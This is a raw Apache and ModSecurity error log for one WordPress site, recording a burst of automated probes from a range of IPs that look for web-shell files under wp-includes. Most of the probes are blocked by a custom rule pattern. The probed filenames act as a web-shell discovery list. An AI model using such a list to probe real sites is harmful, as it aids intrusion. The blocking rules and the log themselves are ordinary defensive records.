[Mon Feb 23 12:00:19.532067 2026] [:error] [pid 39640:tid 39694] [client 45.132.224.145:26101] [client 45.132.224.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.145, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aZvQ09sK--eVCgzvvudorQAAApg"]
[Mon Feb 23 12:00:19.710609 2026] [proxy_fcgi:error] [pid 39640:tid 39688] [client 45.132.224.145:26101] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:19.897488 2026] [proxy_fcgi:error] [pid 39640:tid 39690] [client 45.132.224.145:26101] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:20.083733 2026] [proxy_fcgi:error] [pid 39640:tid 39693] [client 45.132.224.145:26101] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:20.261694 2026] [:error] [pid 39640:tid 39692] [client 45.132.224.145:26101] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aZvQ1NsK--eVCgzvvudosQAAApY"]
[Mon Feb 23 12:00:20.630169 2026] [proxy_fcgi:error] [pid 25380:tid 25391] [client 45.132.224.135:47629] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:20.798153 2026] [:error] [pid 25380:tid 25388] [client 45.132.224.135:47629] [client 45.132.224.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aZvQ1KKrc8yFQ8fy78p6TQAAAMY"]
[Mon Feb 23 12:00:21.367704 2026] [proxy_fcgi:error] [pid 25380:tid 25392] [client 45.132.224.140:40401] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:21.543343 2026] [:error] [pid 25380:tid 25404] [client 45.132.224.140:40401] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aZvQ1aKrc8yFQ8fy78p6UwAAANY"]
[Mon Feb 23 12:00:22.342227 2026] [proxy_fcgi:error] [pid 25380:tid 25387] [client 45.132.224.115:30609] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:22.539970 2026] [:error] [pid 25380:tid 25394] [client 45.132.224.115:30609] [client 45.132.224.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aZvQ1qKrc8yFQ8fy78p6XAAAAMw"]
[Mon Feb 23 12:00:22.908706 2026] [:error] [pid 25380:tid 25383] [client 45.132.224.132:20685] [client 45.132.224.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aZvQ1qKrc8yFQ8fy78p6XwAAAME"]
[Mon Feb 23 12:00:23.297237 2026] [proxy_fcgi:error] [pid 25380:tid 25390] [client 45.132.224.157:36761] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:23.468312 2026] [proxy_fcgi:error] [pid 25380:tid 25393] [client 45.132.224.157:36761] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:24.185754 2026] [:error] [pid 25380:tid 25405] [client 45.132.224.157:36761] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aZvQ2KKrc8yFQ8fy78p6agAAANc"]
[Mon Feb 23 12:00:24.723721 2026] [:error] [pid 39639:tid 39666] [client 45.132.224.151:30667] [client 45.132.224.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aZvQ2BpFkMoMi8uTUUMwPAAAAlc"]
[Mon Feb 23 12:00:25.137669 2026] [proxy_fcgi:error] [pid 39540:tid 39582] [client 45.132.224.142:52357] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:25.679665 2026] [:error] [pid 39540:tid 39592] [client 45.132.224.142:52357] [client 45.132.224.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aZvQ2bsgm9aTWhlRScLjuwAAAdc"]
[Mon Feb 23 12:00:26.125589 2026] [proxy_fcgi:error] [pid 39540:tid 39585] [client 45.132.224.129:30005] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:26.571814 2026] [proxy_fcgi:error] [pid 39540:tid 39576] [client 45.132.224.129:30005] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:26.758818 2026] [:error] [pid 39540:tid 39582] [client 45.132.224.129:30005] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aZvQ2rsgm9aTWhlRScLjwAAAAc0"]
[Mon Feb 23 12:00:27.106217 2026] [proxy_fcgi:error] [pid 39640:tid 39691] [client 45.132.224.127:55579] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:27.642255 2026] [:error] [pid 39640:tid 39675] [client 45.132.224.127:55579] [client 45.132.224.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aZvQ29sK--eVCgzvvudovQAAAoU"]
[Mon Feb 23 12:00:28.003714 2026] [proxy_fcgi:error] [pid 39640:tid 39686] [client 45.132.224.111:32895] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:28.630515 2026] [:error] [pid 39640:tid 39693] [client 45.132.224.111:32895] [client 45.132.224.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aZvQ3NsK--eVCgzvvudowQAAApc"]
[Mon Feb 23 12:00:29.276534 2026] [proxy_fcgi:error] [pid 39540:tid 39589] [client 45.132.224.137:50057] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:29.626597 2026] [proxy_fcgi:error] [pid 39540:tid 39588] [client 45.132.224.137:50057] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:29.829347 2026] [proxy_fcgi:error] [pid 39540:tid 39570] [client 45.132.224.137:50057] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:30.190642 2026] [proxy_fcgi:error] [pid 39540:tid 39586] [client 45.132.224.137:50057] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:30.366588 2026] [:error] [pid 39540:tid 39582] [client 45.132.224.137:50057] [client 45.132.224.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aZvQ3rsgm9aTWhlRScLj0AAAAc0"]
[Mon Feb 23 12:00:30.766731 2026] [:error] [pid 25294:tid 25373] [client 45.132.224.134:65173] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aZvQ3iRCFB3CqIo_jfaO1wAAAFQ"]
[Mon Feb 23 12:00:31.150928 2026] [:error] [pid 25380:tid 25406] [client 45.132.224.157:21411] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aZvQ36Krc8yFQ8fy78p6egAAANg"]
[Mon Feb 23 12:00:31.513903 2026] [:error] [pid 39540:tid 39592] [client 45.132.224.118:27459] [client 45.132.224.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aZvQ37sgm9aTWhlRScLj0wAAAdc"]
[Mon Feb 23 12:00:31.881345 2026] [proxy_fcgi:error] [pid 25380:tid 25389] [client 45.132.224.155:26649] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:32.135854 2026] [:error] [pid 25380:tid 25387] [client 45.132.224.155:26649] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aZvQ4KKrc8yFQ8fy78p6gQAAAMU"]
[Mon Feb 23 12:00:32.493252 2026] [:error] [pid 25380:tid 25394] [client 45.132.224.115:36111] [client 45.132.224.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZvQ4KKrc8yFQ8fy78p6gwAAAMw"]
[Mon Feb 23 12:00:32.860553 2026] [proxy_fcgi:error] [pid 39504:tid 39511] [client 45.132.224.145:62573] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:33.217637 2026] [:error] [pid 39504:tid 39513] [client 45.132.224.145:62573] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZvQ4XLcHpOlI9gwwJruDgAAAUc"]
[Mon Feb 23 12:00:33.585155 2026] [:error] [pid 39639:tid 39651] [client 45.132.224.112:55271] [client 45.132.224.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZvQ4RpFkMoMi8uTUUMwSgAAAkg"]
[Mon Feb 23 12:00:33.966307 2026] [:error] [pid 39639:tid 39649] [client 45.132.224.139:21413] [client 45.132.224.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aZvQ4RpFkMoMi8uTUUMwTQAAAkY"]
[Mon Feb 23 12:00:34.316330 2026] [:error] [pid 25380:tid 25385] [client 45.132.224.153:54733] [client 45.132.224.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aZvQ4qKrc8yFQ8fy78p6hwAAAMM"]
[Mon Feb 23 12:00:34.849367 2026] [:error] [pid 39639:tid 39664] [client 45.132.224.139:23883] [client 45.132.224.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aZvQ4hpFkMoMi8uTUUMwUAAAAlU"]
[Mon Feb 23 12:00:35.600258 2026] [:error] [pid 39639:tid 39655] [client 45.132.224.138:61943] [client 45.132.224.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aZvQ4xpFkMoMi8uTUUMwVgAAAkw"]
[Mon Feb 23 12:00:35.988000 2026] [proxy_fcgi:error] [pid 25380:tid 25403] [client 45.132.224.112:62955] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:36.528066 2026] [proxy_fcgi:error] [pid 25380:tid 25390] [client 45.132.224.112:62955] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:36.705420 2026] [:error] [pid 25380:tid 25386] [client 45.132.224.112:62955] [client 45.132.224.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aZvQ5KKrc8yFQ8fy78p6kwAAAMQ"]
[Mon Feb 23 12:00:37.230260 2026] [proxy_fcgi:error] [pid 25380:tid 25389] [client 45.132.224.155:54283] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:37.403554 2026] [proxy_fcgi:error] [pid 25380:tid 25401] [client 45.132.224.155:54283] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:38.140559 2026] [proxy_fcgi:error] [pid 25380:tid 25384] [client 45.132.224.155:54283] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:38.356298 2026] [:error] [pid 25380:tid 25390] [client 45.132.224.155:54283] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aZvQ5qKrc8yFQ8fy78p6oQAAAMg"]
[Mon Feb 23 12:00:38.709585 2026] [proxy_fcgi:error] [pid 39538:tid 39558] [client 45.132.224.135:61869] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:39.288597 2026] [:error] [pid 39538:tid 39553] [client 45.132.224.135:61869] [client 45.132.224.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aZvQ5y4Zk8-cQOG3ZnozDQAAAYs"]
[Mon Feb 23 12:00:39.637023 2026] [:error] [pid 25380:tid 25383] [client 45.132.224.140:22083] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aZvQ56Krc8yFQ8fy78p6owAAAME"]
[Mon Feb 23 12:00:40.873306 2026] [:error] [pid 39540:tid 39572] [client 45.132.224.112:28833] [client 45.132.224.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aZvQ6Lsgm9aTWhlRScLj5gAAAcM"]
[Mon Feb 23 12:00:41.655551 2026] [proxy_fcgi:error] [pid 39640:tid 39681] [client 45.132.224.135:39193] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:41.851075 2026] [proxy_fcgi:error] [pid 39640:tid 39680] [client 45.132.224.135:39193] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:42.025869 2026] [proxy_fcgi:error] [pid 39640:tid 39677] [client 45.132.224.135:39193] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:42.198634 2026] [proxy_fcgi:error] [pid 39640:tid 39691] [client 45.132.224.135:39193] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:43.176201 2026] [:error] [pid 39640:tid 39686] [client 45.132.224.135:39193] [client 45.132.224.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aZvQ69sK--eVCgzvvudo2wAAApA"]
[Mon Feb 23 12:00:43.525728 2026] [:error] [pid 39540:tid 39582] [client 45.132.224.108:59631] [client 45.132.224.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aZvQ67sgm9aTWhlRScLj7QAAAc0"]
[Mon Feb 23 12:00:43.867059 2026] [:error] [pid 39640:tid 39673] [client 45.132.224.143:46033] [client 45.132.224.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aZvQ69sK--eVCgzvvudo3QAAAoM"]
[Mon Feb 23 12:00:44.335306 2026] [:error] [pid 25380:tid 25382] [client 45.132.224.113:27177] [client 45.132.224.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aZvQ7KKrc8yFQ8fy78p6pwAAAMA"]
[Mon Feb 23 12:00:44.712959 2026] [:error] [pid 39640:tid 39689] [client 45.132.224.118:55405] [client 45.132.224.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aZvQ7NsK--eVCgzvvudo3wAAApM"]
[Mon Feb 23 12:00:45.074493 2026] [:error] [pid 25380:tid 25397] [client 45.132.224.132:39247] [client 45.132.224.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aZvQ7aKrc8yFQ8fy78p6qgAAAM8"]
[Mon Feb 23 12:00:45.623197 2026] [:error] [pid 39640:tid 39685] [client 45.132.224.140:45159] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aZvQ7dsK--eVCgzvvudo4gAAAo8"]
[Mon Feb 23 12:00:45.965000 2026] [:error] [pid 39540:tid 39580] [client 45.132.224.111:42713] [client 45.132.224.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aZvQ7bsgm9aTWhlRScLj8wAAAcs"]
[Mon Feb 23 12:00:46.320711 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.109:53623] [client 45.132.224.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aZvQ7rsgm9aTWhlRScLj9wAAAdU"]
[Mon Feb 23 12:00:46.665383 2026] [:error] [pid 39540:tid 39583] [client 45.132.224.109:38639] [client 45.132.224.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aZvQ7rsgm9aTWhlRScLj-QAAAc4"]
[Mon Feb 23 12:00:48.682528 2026] [:error] [pid 39540:tid 39569] [client 45.132.224.135:35283] [client 45.132.224.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aZvQ8Lsgm9aTWhlRScLkCAAAAcA"]
[Mon Feb 23 12:00:49.320618 2026] [:error] [pid 39640:tid 39689] [client 45.132.224.108:48975] [client 45.132.224.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aZvQ8dsK--eVCgzvvudo5wAAApM"]
[Mon Feb 23 12:00:49.741569 2026] [proxy_fcgi:error] [pid 39540:tid 39581] [client 45.132.224.134:51823] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:50.087809 2026] [:error] [pid 39540:tid 39573] [client 45.132.224.134:51823] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aZvQ8rsgm9aTWhlRScLkDQAAAcQ"]
[Mon Feb 23 12:00:50.817331 2026] [:error] [pid 39639:tid 39665] [client 45.132.224.148:58377] [client 45.132.224.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aZvQ8hpFkMoMi8uTUUMwXgAAAlY"]
[Mon Feb 23 12:00:51.310359 2026] [proxy_fcgi:error] [pid 39640:tid 39683] [client 45.132.224.139:29981] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:51.669438 2026] [proxy_fcgi:error] [pid 39640:tid 39672] [client 45.132.224.139:29981] AH01071: Got error 'Primary script unknown'
